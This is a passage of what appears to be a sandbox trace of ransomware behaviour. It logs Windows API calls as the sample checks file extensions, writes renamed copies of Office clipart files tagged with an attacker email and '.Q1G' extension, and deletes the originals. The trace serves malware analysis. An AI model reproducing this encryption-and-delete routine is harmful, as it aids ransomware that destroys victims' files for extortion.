(lpString=".xlsx") returned 5 [0054.753] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0054.753] lstrlenW (lpString=".ppt") returned 4 [0054.753] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0054.753] lstrlenW (lpString=".zip") returned 4 [0054.753] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.753] lstrlenW (lpString=".rar") returned 4 [0054.753] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.753] lstrlenW (lpString=".bz2") returned 4 [0054.753] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.753] lstrlenW (lpString=".7z") returned 3 [0054.753] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0054.753] lstrlenW (lpString=".dbf") returned 4 [0054.753] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0054.753] lstrlenW (lpString=".1cd") returned 4 [0054.753] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0054.753] lstrlenW (lpString=".jpg") returned 4 [0054.753] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0054.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0054.753] lstrlenW (lpString=".doc") returned 4 [0054.753] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.753] lstrlenW (lpString=".docx") returned 5 [0054.753] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0054.753] lstrlenW (lpString=".pdf") returned 4 [0054.753] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.753] lstrlenW (lpString=".xls") returned 4 [0054.753] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.753] lstrlenW (lpString=".xlsx") returned 5 [0054.753] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0054.753] lstrlenW (lpString=".ppt") returned 4 [0054.754] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0054.754] lstrlenW (lpString=".zip") returned 4 [0054.754] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.754] lstrlenW (lpString=".rar") returned 4 [0054.754] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.754] lstrlenW (lpString=".bz2") returned 4 [0054.754] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.754] lstrlenW (lpString=".7z") returned 3 [0054.754] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0054.754] lstrlenW (lpString=".dbf") returned 4 [0054.754] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0054.754] lstrlenW (lpString=".1cd") returned 4 [0054.754] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0054.754] lstrlenW (lpString=".jpg") returned 4 [0054.754] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.754] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0054.754] lstrlenW (lpString="AG00057_.GIF") returned 12 [0054.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0054.754] GetFileSizeEx (in: hFile=0x238, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=11891) returned 1 [0054.754] CloseHandle (hObject=0x238) returned 1 [0054.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif")) returned 0x20 [0054.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0054.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0054.757] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.757] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0054.758] GetLastError () returned 0x0 [0054.758] ReadFile (in: hFile=0x238, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x2e73, lpOverlapped=0x0) returned 1 [0055.021] WriteFile (in: hFile=0x240, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x2e80, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x2e80, lpOverlapped=0x0) returned 1 [0055.023] ReadFile (in: hFile=0x238, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.023] WriteFile (in: hFile=0x240, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.023] SetEndOfFile (hFile=0x240) returned 1 [0055.023] CloseHandle (hObject=0x240) returned 1 [0055.023] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.023] SetEndOfFile (hFile=0x238) returned 1 [0055.024] CloseHandle (hObject=0x238) returned 1 [0055.024] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0055.024] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif")) returned 1 [0055.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0055.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0055.024] lstrlenW (lpString=".doc") returned 4 [0055.024] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0055.024] lstrlenW (lpString=".docx") returned 5 [0055.024] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0055.024] lstrlenW (lpString=".pdf") returned 4 [0055.024] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0055.024] lstrlenW (lpString=".xls") returned 4 [0055.024] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0055.024] lstrlenW (lpString=".xlsx") returned 5 [0055.024] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0055.024] lstrlenW (lpString=".ppt") returned 4 [0055.024] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0055.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0055.025] lstrlenW (lpString=".zip") returned 4 [0055.025] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0055.025] lstrlenW (lpString=".rar") returned 4 [0055.025] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0055.025] lstrlenW (lpString=".bz2") returned 4 [0055.025] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0055.025] lstrlenW (lpString=".7z") returned 3 [0055.025] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0055.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0055.025] lstrlenW (lpString=".dbf") returned 4 [0055.025] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0055.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0055.025] lstrlenW (lpString=".1cd") returned 4 [0055.025] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0055.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0055.025] lstrlenW (lpString=".jpg") returned 4 [0055.025] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0055.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0055.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0055.025] lstrlenW (lpString=".doc") returned 4 [0055.025] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0055.025] lstrlenW (lpString=".docx") returned 5 [0055.025] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0055.025] lstrlenW (lpString=".pdf") returned 4 [0055.025] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0055.025] lstrlenW (lpString=".xls") returned 4 [0055.025] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0055.025] lstrlenW (lpString=".xlsx") returned 5 [0055.025] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0055.025] lstrlenW (lpString=".ppt") returned 4 [0055.025] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0055.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0055.025] lstrlenW (lpString=".zip") returned 4 [0055.025] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0055.026] lstrlenW (lpString=".rar") returned 4 [0055.026] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0055.026] lstrlenW (lpString=".bz2") returned 4 [0055.026] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0055.026] lstrlenW (lpString=".7z") returned 3 [0055.026] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0055.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0055.026] lstrlenW (lpString=".dbf") returned 4 [0055.026] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0055.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0055.026] lstrlenW (lpString=".1cd") returned 4 [0055.026] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0055.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0055.026] lstrlenW (lpString=".jpg") returned 4 [0055.026] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0055.026] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0055.026] lstrlenW (lpString="AG00169_.GIF") returned 12 [0055.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0055.026] GetFileSizeEx (in: hFile=0x238, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=5375) returned 1 [0055.026] CloseHandle (hObject=0x238) returned 1 [0055.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif")) returned 0x20 [0055.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0055.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0055.027] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.027] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0055.027] GetLastError () returned 0x0 [0055.027] ReadFile (in: hFile=0x238, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x14ff, lpOverlapped=0x0) returned 1 [0055.028] WriteFile (in: hFile=0x240, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x1500, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x1500, lpOverlapped=0x0) returned 1 [0055.029] ReadFile (in: hFile=0x238, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.029] WriteFile (in: hFile=0x240, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.029] SetEndOfFile (hFile=0x240) returned 1 [0055.029] CloseHandle (hObject=0x240) returned 1 [0055.030] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.030] SetEndOfFile (hFile=0x238) returned 1 [0055.030] CloseHandle (hObject=0x238) returned 1 [0055.030] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0055.031] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif")) returned 1 [0055.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0055.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0055.031] lstrlenW (lpString=".doc") returned 4 [0055.031] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0055.031] lstrlenW (lpString=".docx") returned 5 [0055.031] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0055.031] lstrlenW (lpString=".pdf") returned 4 [0055.031] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0055.031] lstrlenW (lpString=".xls") returned 4 [0055.031] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0055.031] lstrlenW (lpString=".xlsx") returned 5 [0055.031] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0055.031] lstrlenW (lpString=".ppt") returned 4 [0055.031] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0055.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0055.031] lstrlenW (lpString=".zip") returned 4 [0055.031] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0055.031] lstrlenW (lpString=".rar") returned 4 [0055.031] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0055.031] lstrlenW (lpString=".bz2") returned 4 [0055.031] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0055.031] lstrlenW (lpString=".7z") returned 3 [0055.031] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0055.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0055.032] lstrlenW (lpString=".dbf") returned 4 [0055.032] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0055.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0055.032] lstrlenW (lpString=".1cd") returned 4 [0055.032] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0055.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0055.032] lstrlenW (lpString=".jpg") returned 4 [0055.032] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0055.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0055.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0055.032] lstrlenW (lpString=".doc") returned 4 [0055.032] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0055.032] lstrlenW (lpString=".docx") returned 5 [0055.032] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0055.032] lstrlenW (lpString=".pdf") returned 4 [0055.032] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0055.032] lstrlenW (lpString=".xls") returned 4 [0055.032] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0055.032] lstrlenW (lpString=".xlsx") returned 5 [0055.032] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0055.032] lstrlenW (lpString=".ppt") returned 4 [0055.032] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0055.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0055.032] lstrlenW (lpString=".zip") returned 4 [0055.032] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0055.032] lstrlenW (lpString=".rar") returned 4 [0055.032] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0055.032] lstrlenW (lpString=".bz2") returned 4 [0055.032] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0055.032] lstrlenW (lpString=".7z") returned 3 [0055.032] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0055.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0055.033] lstrlenW (lpString=".dbf") returned 4 [0055.033] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0055.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0055.033] lstrlenW (lpString=".1cd") returned 4 [0055.033] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0055.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0055.033] lstrlenW (lpString=".jpg") returned 4 [0055.033] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0055.033] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0055.033] lstrlenW (lpString="AG00170_.GIF") returned 12 [0055.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0055.033] GetFileSizeEx (in: hFile=0x238, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=9248) returned 1 [0055.033] CloseHandle (hObject=0x238) returned 1 [0055.033] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif")) returned 0x20 [0055.033] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0055.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0055.034] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.034] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0055.034] GetLastError () returned 0x0 [0055.034] ReadFile (in: hFile=0x238, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x2420, lpOverlapped=0x0) returned 1 [0055.035] WriteFile (in: hFile=0x240, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x2430, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x2430, lpOverlapped=0x0) returned 1 [0055.037] ReadFile (in: hFile=0x238, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.037] WriteFile (in: hFile=0x240, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.037] SetEndOfFile (hFile=0x240) returned 1 [0055.046] CloseHandle (hObject=0x240) returned 1 [0055.046] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.046] SetEndOfFile (hFile=0x238) returned 1 [0055.047] CloseHandle (hObject=0x238) returned 1 [0055.047] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0055.047] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif")) returned 1 [0055.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0055.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0055.047] lstrlenW (lpString=".doc") returned 4 [0055.047] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0055.047] lstrlenW (lpString=".docx") returned 5 [0055.047] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0055.047] lstrlenW (lpString=".pdf") returned 4 [0055.047] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0055.047] lstrlenW (lpString=".xls") returned 4 [0055.047] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0055.047] lstrlenW (lpString=".xlsx") returned 5 [0055.047] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0055.047] lstrlenW (lpString=".ppt") returned 4 [0055.047] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0055.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0055.047] lstrlenW (lpString=".zip") returned 4 [0055.047] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0055.047] lstrlenW (lpString=".rar") returned 4 [0055.048] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0055.048] lstrlenW (lpString=".bz2") returned 4 [0055.048] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0055.048] lstrlenW (lpString=".7z") returned 3 [0055.048] lstrcmpiW (lpString1=".7z", 